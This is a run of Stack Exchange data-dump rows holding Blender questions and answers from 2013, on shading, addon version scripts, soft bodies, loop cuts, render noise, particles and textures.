  <row Id="2799" PostTypeId="2" ParentId="734" CreationDate="2013-09-10T18:41:25.720" Score="6" Body="&lt;p&gt;Another simple way to do this would be to select the faces that you want smooth (in this case the non-horizontal surfaces) and select &lt;em&gt;Shading: Smooth&lt;/em&gt; in the tool panel. Then, select the faces that you want sharp (horizontal surfaces, in this case) and select &lt;em&gt;Shading: Flat&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It probably won't give as nice results as &lt;a href=&quot;https://blender.stackexchange.com/a/742/12&quot;&gt;Greg's method&lt;/a&gt;, but it might be quicker and simpler.&lt;/p&gt;&#xA;" OwnerUserId="14" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2013-09-11T02:46:03.910" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2800" PostTypeId="2" ParentId="2797" CreationDate="2013-09-10T18:41:26.963" Score="18" Body="&lt;p&gt;Blender has a module it uses for addon management called &lt;code&gt;addon_utils&lt;/code&gt;, this isn't in the API docs and is only for internal usage. But its a fairly straightforward module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This script prints all addon versions or (-1, -1, -1) if there is no version.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import addon_utils&#xA;for mod in addon_utils.modules():&#xA;    print(mod.bl_info.get('version', (-1, -1, -1)))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note&lt;/em&gt;, that the modules may be &lt;strong&gt;fake&lt;/strong&gt;, that is to say, a module object that only contains &lt;code&gt;bl_info&lt;/code&gt;, this is done to avoid importing the module just to display it in the preferences (before its enabled).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other functions of interest are...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;addon_utils.enable(module_name, default_set=True, persistent=False, handle_error=None)&#xA;addon_utils.disable(module_name, default_set=True, handle_error=None)&#xA;&#xA;# (reloads from disk)&#xA;addon_utils.modules_refresh(module_cache=addons_fake_modules)&#xA;# returns all modules&#xA;addon_utils.modules(module_cache=addons_fake_modules, refresh=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Suggest reading &lt;code&gt;addon_utils.py&lt;/code&gt;, if you need more info.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Note, if you just want to access enabled addons, this is a lot more simple...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what about:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;print(bpy.context.user_preferences.addons.keys())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;that returns something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;['io_scene_3ds', 'io_scene_fbx', 'io_anim_bvh', 'io_mesh_ply', 'io_scene_obj', 'io_scene_x3d',&#xA;'io_mesh_stl', 'io_mesh_uv_layout', 'io_curve_svg', 'cycles', 'sire_o', 'space_view3d_move_orig&#xA;in']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So to get the modules you can do...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import sys&#xA;&#xA;context = bpy.context&#xA;&#xA;for mod_name in context.user_preferences.addons.keys():&#xA;    mod = sys.modules[mod_name]&#xA;    print(mod.bl_info.get('version', (-1, -1, -1)))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;@zeffii noted this in his answer which has since been deleted so including here.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-09-11T10:08:39.330" LastActivityDate="2013-09-11T10:08:39.330" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2801" PostTypeId="2" ParentId="2793" CreationDate="2013-09-10T18:52:10.293" Score="2" Body="&lt;p&gt;Demo of what this does &lt;a href=&quot;https://plus.google.com/111960011143834810418/posts/PSBDETN9mT5&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://plus.google.com/111960011143834810418/posts/PSBDETN9mT5&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/g2u09.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just had a quick play with this idea and got something pretty close.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create soft body.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create armature with two separate bones.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Parent soft body to armature.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Stretch the soft body by moving one of the bones.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This is where it gets a bit limited, but apply the armature modifier as a shape key (I know, you're stuck with the amount of stretch at that point, but trust me, it has some effect and might help).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Keyframe the value of the shape key so that it stetches out slowly over maybe 50 frames, then key it down at 0 about 5 frames later.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Play the animation, and notice how the oscillation of the soft body seems to have been amplified by the quickly retracting shape key.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I really didn't think this would work at all, so having it do at least something made me quite pleased.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See what you can do with that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried keying the deform influence of the bone on and off but that didn't have any effect as far as I could tell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nb. I used Automatic Weights. If you don't then there should be a weight painting step between 3 and 4.&lt;/p&gt;&#xA;" OwnerUserId="1264" LastEditorUserId="599" LastEditDate="2013-09-10T19:59:04.927" LastActivityDate="2013-09-10T19:59:04.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2802" PostTypeId="2" ParentId="2796" CreationDate="2013-09-10T20:47:19.543" Score="1" Body="&lt;p&gt;Path following and flee (distance is set to 1.0) works for me (Blender 2.68 64bit and 32 bit, Windows7 64bit). The cube follows the fish along the red path. And the cube doesn't leave the navigation mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MEgwL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2013-09-10T20:47:19.543" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2803" PostTypeId="2" ParentId="2793" CreationDate="2013-09-10T21:06:04.560" Score="0" Body="&lt;p&gt;It seems that you already managed to stretch and contract the soft body by using the bones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to stop the motion suddenly you could set two keyframes on &lt;em&gt;Goal Strength / Minimum&lt;/em&gt; first keyframe (Right mouse button / insert keyframe) with value 0 and second keyframe this value to .999&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wBF6P.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/1/how-do-i-prevent-soft-body-balloons-from-crumpling-when-they-hit-walls/32#32&quot;&gt;How do I prevent soft body balloons from crumpling when they hit walls?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/1284/how-can-i-animate-object-properties-in-blender/1285#1285&quot;&gt;How can I animate object properties in Blender?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2013-09-10T21:06:04.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2804" PostTypeId="1" AcceptedAnswerId="2805" CreationDate="2013-09-10T22:05:24.737" Score="7" ViewCount="123" Body="&lt;p&gt;It appears that &lt;em&gt;Loop Cut&lt;/em&gt; (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt;) automatically switches you to Edge Mode. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to remain in Face Mode after doing a Loop Cut? I've looked through the hot key references that I could find but no luck. &lt;/p&gt;&#xA;" OwnerUserId="809" LastEditorUserId="12" LastEditDate="2015-04-11T17:12:12.733" LastActivityDate="2015-04-11T17:12:12.733" Title="Is it possible to stay in Face Mode when making loop cuts?" Tags="&lt;modeling&gt;&lt;shortcut&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2805" PostTypeId="2" ParentId="2804" CreationDate="2013-09-10T22:10:49.740" Score="5" Body="&lt;p&gt;You can in a way.. In the 3d view header, hold &lt;kbd&gt;Shift&lt;/kbd&gt; and click on the &lt;em&gt;Edge&lt;/em&gt; and &lt;em&gt;Face&lt;/em&gt; icons. &lt;img src=&quot;https://i.stack.imgur.com/FLnGy.png&quot; alt=&quot;enter image description here&quot;&gt; The only drawback to this is that you will be in both &lt;em&gt;Edge&lt;/em&gt; and &lt;em&gt;Face&lt;/em&gt; selection mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the quickest way to switch selection modes in Blender is to use &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Tab&lt;/kbd&gt;, &lt;em&gt;(you can also hold &lt;kbd&gt;Shift&lt;/kbd&gt; while selecting here too to get multiple selection modes, to leave a mode, do the same thing)&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-09-10T22:17:43.173" LastActivityDate="2013-09-10T22:17:43.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2806" PostTypeId="1" AcceptedAnswerId="2853" CreationDate="2013-09-10T22:13:07.150" Score="2" ViewCount="2366" Body="&lt;p&gt;Prompted by my &lt;a href=&quot;https://blender.stackexchange.com/questions/2729/bevel-curves-without-fattening&quot;&gt;previous question&lt;/a&gt;, I am wondering if it is possible to bevel complex curves with bevel objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I bevel complex curve objects (such as a text object from &lt;a href=&quot;https://blender.stackexchange.com/questions/2720/text-objects-are-messed-up-when-using-offset&quot;&gt;this question&lt;/a&gt;)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried using a bevel object as &lt;a href=&quot;https://blender.stackexchange.com/a/2759/599&quot;&gt;suggested by haunt_house&lt;/a&gt; to bevel without fattening, but this creates many artifacts:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8mfNT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix these? (or failing that, is there another technique I could use?)&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2013-09-12T20:22:31.867" Title="How do I avoid artifacts when using bevel objects with complex curves?" Tags="&lt;modeling&gt;&lt;bezier-curves&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2807" PostTypeId="1" CreationDate="2013-09-10T22:32:26.677" Score="7" ViewCount="858" Body="&lt;p&gt;I wan't to show a drill drilling into a surface. I can't however, create the effect of the surface being ripped up by the drill. I'm trying to animate the shavings of the surface, to give it a believable appearance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've created the jaw and I've imported an &lt;code&gt;.stl&lt;/code&gt; drill that will work for the video. I am able to do the basic animation, but when the drill is going into the mesh, I cant seem to figure out how to have the section of the mesh &quot;follow&quot; or be removed from the drill depth, meaning that the hole left over after drilling.&lt;/p&gt;&#xA;" OwnerUserId="1268" LastEditorUserId="3127" LastEditDate="2014-12-17T16:19:36.680" LastActivityDate="2014-12-17T16:19:36.680" Title="How to create a drilling effect?" Tags="&lt;animation&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2808" PostTypeId="2" ParentId="2787" CreationDate="2013-09-10T23:02:28.637" Score="18" Body="&lt;p&gt;Cycles and all other path tracing render engines use Monte Carlo integration. The probabilistic error after N samples of Monte Carlo integration is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gnDL2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that to halve the noise you have to take roughly 4x more samples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually, we can do a bit better. You mention skipping samples in directions that have already been sampled, and we do this to an extent. Cycles uses Quasi-Monte Carlo integration, which means it uses a sequence of random numbers that is distributed well over all directions to avoid such duplicate samples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quasi-Monte Carlo has better convergence than basic Monte Carlo sampling, but it's difficult to quantify and depends on the scene and settings. The integral for global illumination is high dimensional which makes things quite complicated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To halve noise you need somewhere between 2x and 4x more samples in practice.&lt;/p&gt;&#xA;" OwnerUserId="242" LastEditorUserId="242" LastEditDate="2013-09-11T16:25:53.697" LastActivityDate="2013-09-11T16:25:53.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2809" PostTypeId="2" ParentId="2807" CreationDate="2013-09-10T23:53:18.190" Score="4" Body="&lt;h2&gt;The following approaches could work well:&lt;/h2&gt;&#xA;&#xA;&lt;h3&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Booleans&quot; rel=&quot;nofollow&quot;&gt;Boolean&lt;/a&gt;&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;(Where an invisible object is used to define the empty space), This is the most direct answer and it can probably be made to work, but also may have problems if the jaw is a non manifold mesh. As a workaround in your case you could remove a part of the jaw, add a inset that the boolean operates on, this makes the computations much more simple but then you need to make sure the seams between the inset and the rest of the geometry are not noticeable.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Deformation&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Where a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Rigging/Armatures/Bones&quot; rel=&quot;nofollow&quot;&gt;bone&lt;/a&gt; or &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Techs/Shape/Shape_Keys/The_Outliner#Toggling_object-level_restrictions&quot; rel=&quot;nofollow&quot;&gt;shape key&lt;/a&gt; is used to deform the mesh to create the hole, this is fast and predictable but has some possible drawbacks. UV's &amp;amp; vertex-colors etc will distort with the mesh, drilling multiple holes in the one cavity &lt;em&gt;(where the holes overlap)&lt;/em&gt; becomes difficult. (something boolean can do). The key to making deformation work here is creating the geometry so the deformation looks good. and you don't loose volume around the deformation in an unrealistic way.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Mesh replacement&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Replace parts of the mesh over time by animating &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Data_System&quot; rel=&quot;nofollow&quot;&gt;visibility&lt;/a&gt;, may seem a weak solution and has the disadvantage that the animation wont be smooth and you have to finalize the mesh before making duplicates.. but it gives a lot of control.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Other options which I think wouldn't work so well but including for completeness:&lt;/h2&gt;&#xA;&#xA;&lt;h3&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Composite_Nodes&quot; rel=&quot;nofollow&quot;&gt;Compositing&lt;/a&gt;&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Sometimes you can use the depth to do operations you might assume you would need to do on geometry, there are tutorials showing clever use of depth buffer for similar tasks.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Metas&quot; rel=&quot;nofollow&quot;&gt;Metaballs&lt;/a&gt;&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;For certain cases &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Metas/Editing#Negative_Influence&quot; rel=&quot;nofollow&quot;&gt;negative metaballs&lt;/a&gt; can be used well for this effect.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-09-11T10:00:02.900" LastActivityDate="2013-09-11T10:00:02.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2810" PostTypeId="1" CreationDate="2013-09-11T01:09:39.407" Score="5" ViewCount="1200" Body="&lt;p&gt;I've setup a plane with a particle emitter system. When I render the footage and the particles are glowing. Where do I find the settings for that?&lt;/p&gt;&#xA;" OwnerUserId="1268" LastActivityDate="2013-09-11T02:04:38.940" Title="How do I remove the glow from particles" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2811" PostTypeId="2" ParentId="2810" CreationDate="2013-09-11T01:41:17.330" Score="1" Body="&lt;p&gt;As mentioned by CharlesL,&#xA;that glow is caused when the particles are rendered with &lt;em&gt;Halo&lt;/em&gt; selected in &lt;em&gt;Particle settings &gt; Render&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YVPaE.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Particles&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Particles may be rendered as:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Halos (for Flames, Smoke, Clouds).&lt;br&gt;&#xA;      Meshes which in turn may be animated (e.g. fish, bees, …). In these cases, each particle “carries” another object.&lt;br&gt;&#xA;      Strands (for Hair, Fur, Grass); the complete way of a particle will be shown as a strand. These strands can be manipulated in the 3D&#xA;  window (combing, adding, cutting, moving, etc).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To render a surface, you can change the rendered type to &lt;em&gt;Object&lt;/em&gt; (to render a copy of an object in place of the particle) or &lt;em&gt;Group&lt;/em&gt; (to randomly select the object from a group of objects)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can change the halo settings by adding a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Materials/Special_Effects/Halos&quot; rel=&quot;nofollow noreferrer&quot;&gt;halo material&lt;/a&gt; to the emitter object and changing the &lt;em&gt;Material&lt;/em&gt; setting to the appropriate value in &lt;em&gt;Particle settings &gt; Render&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other options are&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;None&lt;/strong&gt; &#xA;fairly self-explanatory, do not render particles&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Line&lt;/strong&gt; &#xA;Render a line along the vector of the particle&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Path&lt;/strong&gt; &#xA;Used with &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Particles/Hair&quot; rel=&quot;nofollow noreferrer&quot;&gt;hair particles&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Particles/Visualization#Billboard&quot; rel=&quot;nofollow noreferrer&quot;&gt;Billboard&lt;/a&gt;&lt;/strong&gt; &#xA;Render 2D planes at a fixed angle to the camera&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-09-11T02:04:38.940" LastActivityDate="2013-09-11T02:04:38.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2812" PostTypeId="1" CreationDate="2013-09-11T01:55:53.107" Score="8" ViewCount="6541" Body="&lt;p&gt;I want to create a porous bone texture for my mesh. I've tried importing image of bone pores and it looks distorted and bad. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am a newby, is there something I'm doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the noise texture and a few others and they aren't cutting it!&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I need to create a mesh with an appearance of tiny hollow cavities. &lt;img src=&quot;https://i.stack.imgur.com/JdssW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1268" LastEditorUserId="-1" LastEditDate="2013-09-11T05:55:35.240" LastActivityDate="2018-06-29T22:17:04.347" Title="How do I add a porous texture to a mesh?" Tags="&lt;texturing&gt;" AnswerCount="4" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2813" PostTypeId="2" ParentId="2812" CreationDate="2013-09-11T02:38:39.943" Score="4" Body="&lt;h1&gt;Using &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Types/Image&quot; rel=&quot;nofollow noreferrer&quot;&gt;image textures&lt;/a&gt;:&lt;/h1&gt;&#xA;&lt;p&gt;There are a few things that could be causing your texture to look distorted:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Ensure that your mesh is &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Mapping/UV/Unwrapping&quot; rel=&quot;nofollow noreferrer&quot;&gt;properly UV unwrapped&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check that you have UV coordinates selected; in cycles this is accessed with the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/Textures&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Texture coordinate&lt;/em&gt;&lt;/a&gt; node, in Blender Internal it is set in &lt;em&gt;Texture settings &amp;gt; Mapping&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1&gt;Using &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Types/Procedural&quot; rel=&quot;nofollow noreferrer&quot;&gt;Procedural textures&lt;/a&gt;:&lt;/h1&gt;&#xA;&lt;p&gt;As said on the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Types/Procedural&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Procedural textures are textures that are defined mathematically. They are generally relatively simple to use, because they don't need to be mapped in a special way - which doesn't mean that procedural textures can't become very complex.&lt;/p&gt;&#xA;&lt;p&gt;These types of textures are 'real' 3D. By that we mean that they fit together perfectly at the edges and continue to look like what they are meant to look like even when they are cut; as if a block of wood had really been cut in two. Procedural textures are not filtered or anti-aliased. This is hardly ever a problem: the user can easily keep the specified frequencies within acceptable limits.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h2&gt;Blender Internal:&lt;/h2&gt;&#xA;&lt;p&gt;Here is a quick example of a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Textures/Influence/Material/Bump_and_Normal&quot; rel=&quot;nofollow noreferrer&quot;&gt;bump mapped&lt;/a&gt; cloud noise texture:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lN4oG.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;To create this:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a new material&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a new &lt;em&gt;Clouds&lt;/em&gt; texture&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In &lt;em&gt;Texture settings &amp;gt; Influence &amp;gt; Diffuse&lt;/em&gt; disable &lt;em&gt;Color&lt;/em&gt;, and in &lt;em&gt;Influence &amp;gt; Geometry&lt;/em&gt; enable &lt;em&gt;Normal&lt;/em&gt; to use bump mapping. (you may want to scale down the influence a bit, and change the &lt;em&gt;Method&lt;/em&gt; to &lt;em&gt;Best quality&lt;/em&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In &lt;em&gt;Texture settings &amp;gt; Clouds &amp;gt; Basis&lt;/em&gt; change the &lt;em&gt;Size&lt;/em&gt; value as desired.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2&gt;Cycles:&lt;/h2&gt;&#xA;&lt;p&gt;To bump map, simply plug the texture into the &lt;em&gt;Displace&lt;/em&gt; socket of the &lt;em&gt;Material output node&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W702d.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note that this can also be done per shader with the &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/More#Bump&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bump&lt;/a&gt;&lt;/em&gt; node and the &lt;em&gt;Vector&lt;/em&gt; input socket of shader nodes.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-09-11T03:04:26.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2815" PostTypeId="1" CreationDate="2013-09-11T11:32:15.023" Score="5" ViewCount="541" Body="&lt;p&gt;I have a little red plane above a big green plane:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have set the red plane for one action, and the green plane for another when i click them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when i click one the red (in the game) that click activate both of the planes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to deactivate the green plane when the mouse is over the red plane?&lt;/p&gt;&#xA;" OwnerUserId="663" LastEditorUserId="2217" LastEditDate="2014-07-29T14:39:38.607" LastActivityDate="2014-07-29T14:39:38.607" Title="Button over another in the game engine" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2816" PostTypeId="1" AcceptedAnswerId="2820" CreationDate="2013-09-11T12:01:00.743" Score="4" ViewCount="291" Body="&lt;p&gt;I need a slot to connect multiple links.&#xA;In the API is an attribute of links to the type of collections:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;links = self.inputs ['ListAttrs']. links&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;for link in links:&lt;/code&gt;&#xA;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I connect several links in the input node?&lt;/p&gt;&#xA;" OwnerUserId="1235" LastActivityDate="2013-09-11T13:52:39.330" Title="How can I connect several links in the input node?" Tags="&lt;pynodes&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2817" PostTypeId="1" CreationDate="2013-09-11T12:05:19.540" Score="2" ViewCount="883" Body="&lt;p&gt;I am creating men/woman character using MakeHuman tool and import into the blender tool. I am new to the blender and MakeHuman. So I followed the steps given in the below youtube video tutorial to work with blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=cGvalWG8HBU&quot; rel=&quot;nofollow&quot;&gt;http://www.youtube.com/watch?v=cGvalWG8HBU&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After creating Armature -&gt; Human(Meta-Rig) I Match the bones into the character. In Edit mode I pressed &quot;G&quot; to move the character. But other parts are moving in that character except the eyes, nose and fingers. What may be the problem. Can anyone fix me to solve this or can you give me the steps by step process to do the walk cycle a men/woman character?&lt;/p&gt;&#xA;" OwnerUserId="1269" LastEditorUserId="1269" LastEditDate="2013-09-12T09:07:02.973" LastActivityDate="2013-09-12T09:07:02.973" Title="Blender object Rigify - eyes, nose and fingers not moving" Tags="&lt;blender-internal-render-engine&gt;&lt;rigify&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2013-09-11T12:39:57.207" ContentLicense="CC BY-SA 3.0" />
